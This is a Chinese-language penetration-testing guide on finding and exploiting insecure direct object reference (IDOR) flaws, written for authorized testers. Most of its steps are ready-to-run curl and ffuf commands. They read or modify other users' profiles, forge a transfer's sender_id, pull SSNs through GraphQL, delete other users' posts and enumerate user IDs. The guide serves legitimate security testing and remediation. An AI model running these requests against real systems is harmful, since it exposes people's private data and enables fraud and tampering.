exploiting-idor-vulnerabilities

name	exploiting-idor-vulnerabilities
description	通过操纵 API 请求和 URL 中的对象标识符，识别并利用不安全的直接对象引用（IDOR）漏洞以访问未授权资源。
domain	cybersecurity
subdomain	web-application-security
tags	["penetration-testing","idor","access-control","owasp","burpsuite","web-security"]
version	1.0
author	mahipal
license	Apache-2.0

利用 IDOR 漏洞（Exploiting IDOR Vulnerabilities）

适用场景

• 在授权渗透测试期间测试资源端点上的访问控制
• 当 API 或网页在 URL 或请求体中使用可预测标识符（数字 ID、UUID、slug）时
• 验证对象级授权是否在所有 CRUD 操作中得到执行
• 测试多租户应用程序，其中用户只能访问自己的数据
• 在针对访问控制失效漏洞的漏洞奖励计划期间

前置条件

• 授权：针对目标应用程序的书面渗透测试协议
• Burp Suite Professional：从 BApp Store 安装了 Authorize 扩展
• 两个测试账户：至少两个具有不同权限级别的独立用户账户
• Burp Authorize 扩展：用于跨会话的自动化 IDOR 测试
• curl/httpie：用于手动请求构建
• 浏览器：配置为通过 Burp Suite 代理

工作流程

步骤 1：映射应用程序中的所有对象引用

识别应用程序中每个通过 ID 引用对象的端点。

# 以用户 A 身份通过 Burp 代理浏览应用程序
# 在 Burp Target > Site Map 中查看带有对象引用的端点

# 常见容易出现 IDOR 的端点：
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}

# 从 Burp 代理历史中提取所有带 ID 的端点
# Burp > Proxy > HTTP History > 按目标域名过滤
# 查找模式：/resource/123、?id=123、{"user_id": 123}

# 检查不同的 ID 格式：
# 数字顺序：/users/101、/users/102
# UUID：/users/550e8400-e29b-41d4-a716-446655440000
# Base64 编码：/users/MTAx（解码为 "101"）
# 哈希：/users/5d41402abc4b2a76b9719d911017c592
# Slug：/users/john-doe

步骤 2：配置 Burp Authorize 扩展进行自动化测试

设置 Authorize 扩展以自动用不同用户的会话重放请求。

# 从 BApp Store 安装 Authorize：
# Burp > Extender > BApp Store > 搜索 "Authorize" > 安装

# 配置：
# 1. 在独立浏览器/隐身模式下以用户 B（受害者）身份登录
# 2. 复制用户 B 的会话 cookie/授权头
# 3. 在 Authorize 标签 > 配置中：
#    - 在"Replace cookies"部分添加用户 B 的 cookies
#    - 或在"Replace headers"中添加用户 B 的 Authorization 头

# 示例头替换：
# 原始（用户 A）：Authorization: Bearer <token_A>
# 替换为（用户 B）：Authorization: Bearer <token_B>

# 4. 启用"Intercept requests from Repeater"
# 5. 启用"Intercept requests from Proxy"

# Authorize 会显示：
# - 绿色：正确限制（不同用户得到不同响应）
# - 红色：可能存在漏洞（无论用户不同响应相同）
# - 橙色：不确定（需要手动验证）

步骤 3：测试水平 IDOR（同等权限级别）

尝试访问同等权限级别的另一个用户的资源。

# 以用户 A（ID：101）身份认证
TOKEN_A="Bearer eyJ..."

# 获取用户 A 自己的资源
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile" | jq .

# 尝试用用户 A 的令牌访问用户 B 的资源（ID：102）
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | jq .

# 比较响应 - 如果两者都返回 200 且带有数据，则 IDOR 已确认

# 跨不同资源类型测试
for resource in profile orders invoices messages documents; do
  echo "--- 测试 $resource ---"
  # 用户 A 的资源
  curl -s -o /dev/null -w "自己: %{http_code} " \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/101/$resource"
  # 用户 B 的资源
  curl -s -o /dev/null -w "其他: %{http_code}\n" \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/102/$resource"
done

# 测试 POST/PUT/DELETE 的写入型 IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked"}' \
  "https://target.example.com/api/v1/users/102/profile"

步骤 4：测试垂直 IDOR（跨权限级别）

尝试用普通用户令牌访问管理员或更高权限的资源。

# 以普通用户身份尝试访问管理员用户资料
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/1/profile" | jq .

# 尝试访问管理员特定资源
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/admin/reports/1" | jq .

# 测试跨组织边界访问资源
# 组织 A 中的用户尝试访问组织 B 的资源
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/organizations/2/settings" | jq .

# 测试文件下载 IDOR
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf

步骤 5：在非明显位置测试 IDOR

在请求体、请求头和间接引用中寻找 IDOR。

# 请求体参数中的 IDOR
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
  "https://target.example.com/api/v1/transfers"

# 将 sender_id 更改为另一个用户
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
  "https://target.example.com/api/v1/transfers"

# 文件引用中的 IDOR
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"

# GraphQL 中的 IDOR
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
  "https://target.example.com/graphql"

# 通过参数污染的 IDOR
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile?user_id=102"

# 批量操作中的 IDOR
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"ids": [101, 102, 103, 104, 105]}' \
  "https://target.example.com/api/v1/users/bulk"

步骤 6：枚举并升级影响

通过 IDOR 确定数据暴露的完整范围。

# 枚举有效对象 ID
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
  -w <(seq 1 500) \
  -H "Authorization: $TOKEN_A" \
  -mc 200 -t 10 -rate 20 \
  -o valid-users.json -of json

# 统计可访问的记录总数
jq '.results | length' valid-users.json

# 检查每条记录暴露了哪些敏感数据
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | \
  jq 'keys'
# 寻找：email、phone、address、ssn、payment_info、password_hash

# 测试 IDOR 对状态更改操作的影响
# 用户 A 能否删除用户 B 的资源？
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/posts/1" \
  -w "%{http_code}"
# 警告：只对已知测试数据测试 DELETE，绝不对真实用户数据测试

核心概念

概念	定义
水平 IDOR（Horizontal IDOR）	访问同等权限级别的另一个用户的资源
垂直 IDOR（Vertical IDOR）	访问需要比当前用户更高权限的资源
直接对象引用（Direct Object Reference）	在 API 参数中直接使用数据库键、文件路径或标识符
间接对象引用（Indirect Object Reference）	使用服务器解析为实际对象的映射引用（如索引）
对象级授权（Object-Level Authorization）	服务器端检查请求用户是否有权访问特定对象
可预测 ID（Predictable IDs）	允许轻松枚举有效对象的顺序数字标识符
UUID 随机性（UUID Randomness）	使用 UUIDv4 使枚举更困难，但不能替代授权检查

工具与系统

工具	用途
Burp Suite Professional	带有 Intruder 用于 ID 枚举和 Repeater 用于手动测试的 HTTP 代理
Authorize (Burp 扩展)	通过用不同用户会话重放请求进行自动化 IDOR 测试
AutoRepeater (Burp 扩展)	自动重复带修改授权头的请求
Postman	使用环境变量在用户上下文之间切换的 API 测试
ffuf	对象 ID 参数的快速模糊测试
OWASP ZAP	带访问控制测试插件的免费代理替代方案

常见场景

场景：发票下载 IDOR

/invoices/{id}/download 端点生成 PDF 发票。通过递增发票 ID，任何已认证用户都可以下载属于其他客户的发票，暴露账单地址和付款详情。

场景：用户资料数据泄露

/api/users/{id} 端点返回完整的用户资料，包括电子邮件、电话和地址。API 只检查请求是否有有效令牌，但从不验证令牌所有者是否与请求的用户 ID 匹配。

场景：通过路径操纵访问文件

文档管理系统将文件存储在 /files/{user_id}/{filename} 下。通过更改 user_id 路径段，用户可以访问其他用户上传的私人文档。

场景：消息线程劫持

/api/conversations/{id}/messages 处的消息端点允许任何已认证用户通过更改会话 ID 来读取任何对话中的消息。

输出格式

## IDOR 漏洞发现

**漏洞**: 不安全的直接对象引用（水平 IDOR）
**严重性**: 高（CVSS 7.5）
**位置**: GET /api/v1/users/{id}/profile
**OWASP 类别**: A01:2021 - 访问控制失效

### 复现步骤
1. 以用户 A（ID：101）身份认证并获取 JWT 令牌
2. 使用用户 A 的令牌发送 GET /api/v1/users/101/profile（返回自己的资料）
3. 将 ID 更改为 102：使用用户 A 的令牌发送 GET /api/v1/users/102/profile
4. 观察到返回了用户 B 的完整资料，包括个人身份信息

### 受影响端点
| 端点 | 方法 | 影响 |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | 读取任意用户的个人身份信息 |
| /api/v1/users/{id}/orders | GET | 读取任意用户的订单历史 |
| /api/v1/users/{id}/profile | PUT | 修改任意用户的资料 |
| /api/v1/invoices/{id}/download | GET | 下载任意用户的发票 |

### 影响
- 超过 15,000 个用户资料可访问（枚举 ID 1-15247）
- 暴露字段：姓名、电子邮件、电话、地址、出生日期
- 写入型 IDOR 允许修改其他用户的资料
- 违反 GDPR 数据访问控制

### 建议
1. 实施对象级授权：验证请求用户拥有或有权访问所请求的对象
2. 使用不可枚举标识符（UUIDv4）作为纵深防御措施
3. 记录并警报顺序 ID 枚举模式
4. 对资源端点实施速率限制